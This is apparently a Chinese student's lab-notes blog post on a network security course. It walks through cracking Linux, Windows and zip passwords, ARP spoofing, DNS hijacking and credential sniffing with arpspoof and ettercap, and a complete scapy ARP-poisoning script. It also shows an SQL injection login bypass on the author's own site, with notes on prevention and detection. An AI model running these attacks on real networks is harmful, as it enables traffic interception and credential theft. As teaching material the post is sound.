网络安全实验3
前言Kali 常用指令工具教程ettercap 基本使用一、口令破解John the ripper 破解 linux 密码l0phtcrack7 破解 windows 密码John 破解 zip 压缩包的密码二、ARP 欺骗、DNS 劫持arpspoof 实现 ARP 欺骗ettercap 进行 DNS 劫持ettercap 进行 ARP 欺骗HTTP&HTTPS账号密码获取三、Python 编写 arpspoof环境准备ARP 报文结构编写代码测试脚本四、SQL注入自己部署的网站环境准备:SQL 注入简单了解:开始实战SQL 注入的预防方法为什么预编译语句可以防SQL注入?VmVare 问题汇总桥接模式没有网安全贴士如何知道自己是否被 ARP欺骗攻击了?前言
本人深感网络安全实验有点麻烦,花了一个晚上弄了部分,特此将笔记贡献造福后人,个人能力有限,还会继续更新。。。
汇报题目:15分钟教你用 Python 写一个 arpspoof(课件准备ing,如果弄完后续补上)
第一次网络安全实验(密码学)也是我做的,这里先放个自制工具:Java实现密码学工具,集成了对称加密算法DES,AES,IDEA,公开加密算法RSA,ECC,散列算法MD5,SHA1,CRC32,以及RSA,DSA,ECDSA数字签名验证示例。,具体报告有时间上传一下。。
后续准备:将工具教程与实战模块分离。。。
Kali 常用指令
切换系统语言:sudo dpkg-reconfigure locales
获取 root 权限:sudo -s
,输入密码
查看 ip 地址:ipconfig
查看网关地址:route -n
查找文件:lication xxx
放大命令行字体:ctrl
+shift
++
缩小命令行字体:ctrl
+-
恢复初始:ctrl
+0
工具教程
ettercap 基本使用
左上角搜索ettercap
,选择ettercap-graphical
打开软件
Ettercap 扫描局域网主机
进入 ettercao 后,选择网卡 eth0,其他的默认即可,然后点击右上角的勾,进入操作的主界面。
(由于安装kali的版本不同,Ettercap 界面可能有所不同,不过操作都是大同小异的)
Ettercap 扫描局域网主机
进入主操作界面后,点击右上角的三个小点,选择Hosts- >Hosts list,就会出现一个局域网所有主机的列表,如果 主机列表为空 或是 有些局域网里的主机没有显示在列表里,那么就可以对整个局域网进行主机扫描,点击三个小点 ->Hosts->Scan for hosts。扫描完成后主机列表就会刷新了。
Ettercap 伪造网关欺骗
主机列表中,选中网关IP点击Add to Target 1,选择需要攻击的目标主机IP点击Add to Target 2。
这一步主要是欺骗被攻击的目标主机,把 网关的IP地址伪造成 攻击者 Mac 地址。让被攻击的目标主机 把数据发送到 攻击者的主机上。
进行 ARP 欺骗
完成上面步骤后,接着点击小地球选择ARP poisoning…会弹出一个提示框让你选择,直接勾选第一个选项,点击OK,最后一步点击左上角的三角型按钮进行启动。
ARP 欺骗启动后,被攻击的目标主机数据请求就会自动发送到攻击者的主机上来。
一、口令破解
加密算法,其实就是用明文密码和一个叫 salt 的东西通过函数crypt()
完成加密。而所谓的密码域密文也是由三部分组成的,即:$id$salt$encrypted
。
id
为 1 时,采用 md5 进行加密;id
为 5 时,采用 SHA256 进行加密;id
为 6 时,采用 SHA512 进行加密;
通过cat /etc/shadow
可以观察到:
John the ripper 破解 linux 密码
John the ripper 介绍:
四种模式:字典模式,简单模式,增强模式,外挂模式Kali Linux 上的 John 随带的密码列表。它位于下面这个路径:
/usr/share/john/password.lst
john --wordlist=/usr/share/john/password.lst [filename]
john--show ~/file_to crack
把密码文件拷贝到用户目录下:
cp /etc/shadow /home/yu/yusael
破解密码文件:
john --wordlist=/usr/share/john/password.lst
查看破解后的密码文件:
john -show shadow
l0phtcrack7 破解 windows 密码
功能:该工具支持远程破解,理论上能破解所有密码,但对复杂度比较高的密码,破解时间很长
使用前提:
登录了需要破解的计算机知道需要破解的计算机的一个管理员的账户,密码
选择Password Auditing Wizard
:
选择要破解的密码的计算机操作系统,这里我们选择Unix-like
,点击next
:
选择需要获得密码的计算机是本机器还是远程机器,我们选择the local machine
本机
选择是用登录的账户还是其他管理员账户,这里我们选择第一个:登录的账户
选择密码爆破方式,我们选择第一种快速破解,当然,也可以选择其他类型:
选择报告方式,默认即可:
选择Run this job immediately
立刻执行:
点击finish
:
破解结果:成功破解出简单的密码 65535,至于复杂的含有字母的密码难以破解(快速模式下)。
John 破解 zip 压缩包的密码
准备工具:
zip压缩包带密码 1个kali Linux机器 1个
操作步骤:
首先创建一个hello.zip
压缩文件,密码为123321
,将他放到 Kali Linux 中;
使用zip2john
命令爆出 hash 文件:zip2john hello.zip >> passwd.txt
然后使用john
命令,计算 hash 文件:john passwd.txt
,成功破解出密码:123321
。
二、ARP 欺骗、DNS 劫持
arpspoof 实现 ARP 欺骗
ARP欺骗:一种中间人攻击,攻击者通过毒化受害者的 ARP 缓存,将网关的 MAC 替换成攻击者的 MAC ,于是攻击者的主机实际上就充当了受害主机的网关,之后攻击者就可以截获受害者发出和接到的数据包,从中获取账号密码、银行卡信息等,也可以实现断网操作。
注:我们可以通过在终端输入
arp -a
来查询 ARP 缓存,为了防治 ARP 欺骗,可以通过arp -s IP MAC
绑定 IP 和 MAC 生成 静态 ARP 表项
实验环境:
虚拟机 A,使用 kali linux(攻击者)本地主机 B,win10A 和 B 处于同一局域网,这里的虚拟机需要以桥接的方式进行连接!!!
桥接和 NAT 的区别
1、桥接和 NAT 都是虚拟机的一种通讯模式,都需要一块网卡,但在桥接模式下虚拟机和主机在同一网段,而 NAT 模式下虚拟机和主机不在同一网段。
2、桥接网络相当于虚拟机和主机接在同一交换机上,同时上网,虚拟机对物理机的 CPU 和网络的直接影响较小,但安全性较低。
3、NAT 相当于虚拟机通过物理机连接网络,此时物理机相当于一个路由器,虚拟机等同于申请到一个上网名额,对物理机的 CPU 和网络的直接影响较大,但安全性较高。
实验步骤:
1、主机 B 里ping
检查网络
2、主机 B 里ipconfig
查询主机 B 的 IP 地址
3、在 kali 的终端输入route -n
查询当前局域网网关,为:192.168.3.1
4、arp 攻击指令格式:arpspoof -i [网卡名称] -t [B的IP] [当前局域网网关]
;
在 kali 的终端里输入命令:arpspoof -i eth0 -t 192.168.3.3 192.168.3.1
5、kali 中输入指令后,回到主机 B,此时已经被ARP攻击,断网了。
命令行中ping
测试网络连通发现请求超时。
ettercap 进行 DNS 劫持
ipconfig
查看 Kali Liunx 的 IP 地址,我这里是192.168.3.21
;
vi /etc/ettercap/etter.dns
修改 etter.dns 文件,添加两行:
*A192.168.3.21*PTR192.168.3.21
开启 apache2 服务:
service apache2 start
打开ettercap
:
ettercap -G
点击扫描,扫描到以后,点击Add to Target1
、Add to Target2
;
标题栏上点击三个点,选择ARP poisoning...
:
选中Sniff remote connections.
选择dns_spoof
,即 DNS 劫持攻击。
点击左上角的开始按钮,此时下面显示Starting Unified sniffing...
便开始攻击了。
此时目标机就连不上“国际互联网”(这里的目标机是我的Kali机子)。
ettercap 进行 ARP 欺骗
Ettercap 扫描局域网主机
进入 ettercao 后,选择网卡 eth0,其他的默认即可,然后点击右上角的勾,进入操作的主界面。
(由于安装kali的版本不同,Ettercap 界面可能有所不同,不过操作都是大同小异的)
Ettercap 扫描局域网主机
进入主操作界面后,点击右上角的三个小点,选择Hosts- >Hosts list,就会出现一个局域网所有主机的列表,如果 主机列表为空 或是 有些局域网里的主机没有显示在列表里,那么就可以对整个局域网进行主机扫描,点击三个小点 ->Hosts->Scan for hosts。扫描完成后主机列表就会刷新了。
Ettercap 伪造网关欺骗
主机列表中,选中网关IP点击Add to Target 1,选择需要攻击的目标主机IP点击Add to Target 2。
这一步主要是欺骗被攻击的目标主机,把 网关的IP地址伪造成 攻击者 Mac 地址。让被攻击的目标主机 把数据发送到 攻击者的主机上。
进行 ARP 欺骗
完成上面步骤后,接着点击小地球选择ARP poisoning…会弹出一个提示框让你选择,直接勾选第一个选项,点击OK,最后一步点击左上角的三角型按钮进行启动。
ARP 欺骗启动后,被攻击的目标主机数据请求就会自动发送到攻击者的主机上来。
此时目标主机已经受到攻击。
通过 路由表 判断 是否被 ARP 欺骗:ARP -n
HTTP&HTTPS账号密码获取
先开启端口转发,保证正常上网:echo 1 > /proc/sys/net/ipv4/ip_forward
开始欺骗:arpspoof -i eth0 -t 192.168.3.3 192.168.3.1
用 ettercap 抓取登入帐号,密码:ettercap -Tq -i eth0
修改中间人攻击的配置文件:vim /etc/ettercap/etter.conf
三、Python 编写 arpspoof
环境准备
虚拟机的连接方式:
NAT(网络地址转换,虚拟机可以上网,但不能和物理机通信)-----VMnet8host only(主机模式,虚拟机之间回可以通信,与物理机不能通信)-----VMnet1bridge(桥接,答虚拟机与物理机在地位上相等,相当于与物理机在同一局域网的物理机)
Kali 如果没有 pip3 工具,运行下面命令安装 pip3:
apt install python3-pip
安装 scapy 模块:
pip3 insatall scapy
ARP 报文结构
以下内容摘自 维基百科:地址解析协议
以太网报文数据:
硬件类型:如以太网(0x0001)、分组无线网。协议类型:如网际协议(IP)(0x0800)、IPv6(0x86DD)。硬件地址长度:每种硬件地址的字节长度,一般为6(以太网)。协议地址长度:每种协议地址的字节长度,一般为4(IPv4)。操作码:1 为 ARP 请求,2 为 ARP 应答,3为RARP请求,4为RARP应答。源硬件地址:n个字节,n由硬件地址长度得到,一般为发送方MAC地址。源协议地址:m个字节,m由协议地址长度得到,一般为发送方IP地址。目标硬件地址:n个字节,n由硬件地址长 度得到,一般为目标MAC地址。目标协议地址:m个字节,m由协议地址长度得到,一般为目标IP地址。
报文格式:对我们来说只需要关心操作码
、源硬件地址
、源协议地址
、目标硬件地址
、目标协议地址
CMD中:
from scapy.all import *
# 查看以太网报文ls(Ether())
# 查看ARP报文ls(ARP())
编写代码
#-*- coding:utf-8 -*-from scapy.all import *from scapy.layers.l2 import ARP, getmacbyipimport sys'''arp 缓冲表恢复'''def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):print("[*] 恢复ARP缓冲...")send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_ip), count=5)send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac))'''进行双向欺骗'''def attack_target(gateway_ip, gateway_mac, target_ip, target_mac):'''首先使用 scapy 构造 ARP包需要: 了解arp报文结构(见笔记)[以太网的首部]默认即可;查看默认的以太网头部:>>> ls(Ether())dst : DestMACField = 'ff:ff:ff:ff:ff:ff' (None)src : SourceMACField = '00:0c:29:07:a4:fd' (None)type : XShortEnumField = 36864 (36864)[arp头部]默认即可;需要了解:操作码源硬件地址源协议地址目标硬件地址目标协议地址查看ARP报文:>>> ls(ARP())hwtype: XShortField= 1(1)ptype: XShortEnumField = 2048 (2048)hwlen: FieldLenField = None (None)plen : FieldLenField = None (None)op : ShortEnumField = 1(1) hwsrc: MultipleTypeField = '00:0c:29:07:a4:fd' (None)psrc : MultipleTypeField = '192.168.3.21' (None)hwdst: MultipleTypeField = '00:00:00:00:00:00' (None)pdst : MultipleTypeField = '0.0.0.0' (None)我们关心的是以下几个属性:[op]: 操作码, 默认为 11为 ARP请求, 2为 ARP应答, 3为 RARP请求, 4为 RARP应答RARP —— 逆地址解析协议, 作用与 ARP 相反, 将 MAC 地址转换为 IP 地址。[hwsrc]: 发送方 MAC 地址, 用于告诉对方我的 MAC 地址是什么, 默认为本机, 可以忽略该属性hw —— hardware:硬件, src —— source:源, 也就是自己[psrc]: 发送方 IP 地址, 用于告诉对方我的 IP 地址是什么, 可以用来【伪装】下面两个属性决定报文发给谁:[hwdst]: 目标 MAC 地址dst —— destination:目的地[pdst]: 目标 IP 地址'''# 欺骗目标主机, 我是网关'''发送给目标主机(target_ip)欺骗它:我的 IP 是 gateway_ip(我是网关)我的 MAC地址 是 hwsrc(默认本机)'''poison_target = ARP() # 构造 ARP包poison_target.op = 2 # ARP应答poison_target.psrc = gateway_ip # 我的 IP 是 gateway_ip(我是网关)poison_target.pdst = target_ip # 目标 IP 地址poison_target.hwdst = target_mac # 目标 MAC 地址# 欺骗网关, 我是目标主机'''发送给网关(gateway_ip)欺骗它:我的 IP 是 target_ip(我是目标主机)我的 MAC地址 是 hwsrc(默认本机)'''poison_gateway = ARP() # 构造 ARP包poison_gateway.op = 2 # ARP应答poison_gateway.psrc = target_ip # 我的 IP 是 target_ip(我是目标主机)poison_gateway.pdst = gateway_ip # 目标 IP地址, 发送给网关poison_gateway.hwdst = gateway_ip # 目标 MAC地址, 发送给网关print("[*] 正在进行ARP投毒. [CTRL-C 停止]")while True:try:# 不停的发送 ARP包 send(poison_target)send(poison_gateway)# 休眠一下, 避免太频繁的欺骗, 影响网络time.sleep(2)# 捕获键盘中断except KeyboardInterrupt:# 进行 ARP缓冲修复restore_target(gateway_ip, gateway_mac, target_ip, target_mac)breakprint("[*] ARP投毒结束...")def main():# 网卡 (在kali上运行该脚本)interface = "eth0"# 网关 gateway_ip = "192.168.3.1"# 目标ip# target_ip = "192.168.3.3"target_ip = input("请输入你想攻击的IP地址: ")# 设置网卡conf.iface = interface# 关闭提示信息conf.verb = 0print("[*] 网卡: %s"%interface )# 获取网关MACgateway_mac = getmacbyip(gateway_ip)if gateway_mac is None:print("[!] 获取网关MAC失败. Exiting...")sys.exit(0)else:print("[*] 网关: %s MAC: %s"%(gateway_ip, gateway_mac))# 获取目标主机MACtarget_mac = getmacbyip(target_ip)if target_mac is None:print("[!] 获取目标主机MAC失败. Exiting...")sys.exit(0)else:print("[*] 目标主机: %s MAC: %s"%(target_ip, target_mac))attack_target(gateway_ip, gateway_mac, target_ip, target_mac)if __name__ == "__main__":main()
测试脚本
Kali 运行脚本,windows 作为靶机。
查看ip,查看网关等操作 前面已经详细列出过,这里不再重复了,直接开始运行脚本,测试。
输入命令:Python3 arpspoof.py
运行脚本
此时在 windows 上ping
:成功断网了。
四、SQL注入自己部署的网站
环境准备:
首先我们在 windows 上部署了自己制作的网站(Spring Boot 搭建),然后开启了 Tomcat(Java 的 Web 服务器)。
SQL 注入简单了解:
主要是针对 SQL 语句的漏洞进行攻击,下面举一个简单的例子:
比如网站登录用户,基本都是用以下语句去查询用户名和密码,如果正确则登录成功,否则失败。
下句中的 SQL 语句的密码是我随便写的,必定是登录失败的。
SELECT * FROM t_user WHERE username="zhenyu" AND password='xxxxxx';
但是,如果 SQL 语句是下面这样呢?
SELECT * FROM t_user WHERE username="zhenyu" AND password='xxxxxx' OR 1=1;
不法分子可以通过在密码中拼接SQL中的关键字来达到登录的效果,这就是最简单的SQL注入原理。
但其实 SQL 注入的预防也是十分容易的,后面会写到。
开始实战
首先在 windows 上运行 SpringBoot 项目,服务器开始运行。
在 Kali Liunx 上通过 windows 的 IP 访问我们的网站:
首先确认数据库中正确的密码:
正确的用户名应该是:zhenyu,
正确的密码应该是:123456
输入用户名:zhenyu,开始SQL注入:
输入密码12 or ‘1’ = ‘1’
明明密码不正确,却可以登录进去!
SQL 注入的预防方法
其实想要预防 SQL 注入是非常容易的,尤其是从代码层面来讲,可能只需要改动一行代码即可。
以下写法是具有被SQL注入的风险的,
只需要改成如下代码即可,SQL注入就会失效,它的原理是预编译语句。
为什么预编译语句可以防SQL注入?
预编译语句之所以能防止注入,是因为它把单引号转义了,变成了 ',这样一来,就无法截断SQL语句,进而无法拼接SQL语句 基本上没有办法注入了。
关于预编译语句了解即可,大部分的项目开发中都建议直接使用它,但是很多老项目没有使用预编译语句,就导致了存在SQL注入风险的项目依旧很多。
以上演示的是最简单的SQL注入,黑客们的智慧是无穷的,通过简单的SQL语句的搭配即可想出SQL注入这样的攻击方案,十分令人惊叹,未来或许还有更多层出不穷的攻击会出现。
VmVare 问题汇总
桥接模式没有网
问题描述:VMWare安装之后,虚拟网络一直使用默认配置:即VMnet0为Bridged
模式,VMnet1为Only-Host
模式,VMnet8为NAT
模式。点击了虚拟网络编辑器(Virtual Network Editor)恢复默认设置后,vMnet0 不见了,并且手动添加选择桥接模式后会报错:没有未桥接的主机网络适配器,无法将网络更改为桥接状态。
此问题导致VMnet0无法选择bridge
模式,原因是还原默认设置按钮的 卸载组件-安装组件 过程删除了桥接服务,使主机的网络网卡没能被成功识别。
解决方案:
搜索网络状态,并点击进入
点击更改适配器选项:
右键点击物理网卡,选择属性,比如我这里连接的是WIFi:
检查是否安装并选中了 “VMWare Bridge protocol”,如果没有请继续看下去
点击安装后,选中服务,点击添加
然后选择从磁盘安装,跳出来一个界面选择浏览,在VMvare根目录下找到netbridge.inx
文件
安装即可。
安装完毕后,此时物理网卡-属性中应该有 “VMWare Bridge protocol” 选项,打勾即可。
还需要启动 vmnet bridging 驱动,管理员打开命令行:net start vmnetbridge
,或者重启计算机自动开启。
安全贴士
如何知道自己是否被 ARP欺骗攻击了?
在命令行窗口内输入ARP -a
查看路由表,如果发现你的网关的 Mac 地址,和局域网内某台主机的 Mac 地址相同,就说明你被欺骗了。
如果觉得《网络信息安全实验 — 网络攻击技术实验(Kali系统 John lc7 arpspoof ettercap SQL注入...)》对你有帮助,请点赞、收藏,并留下你的观点哦!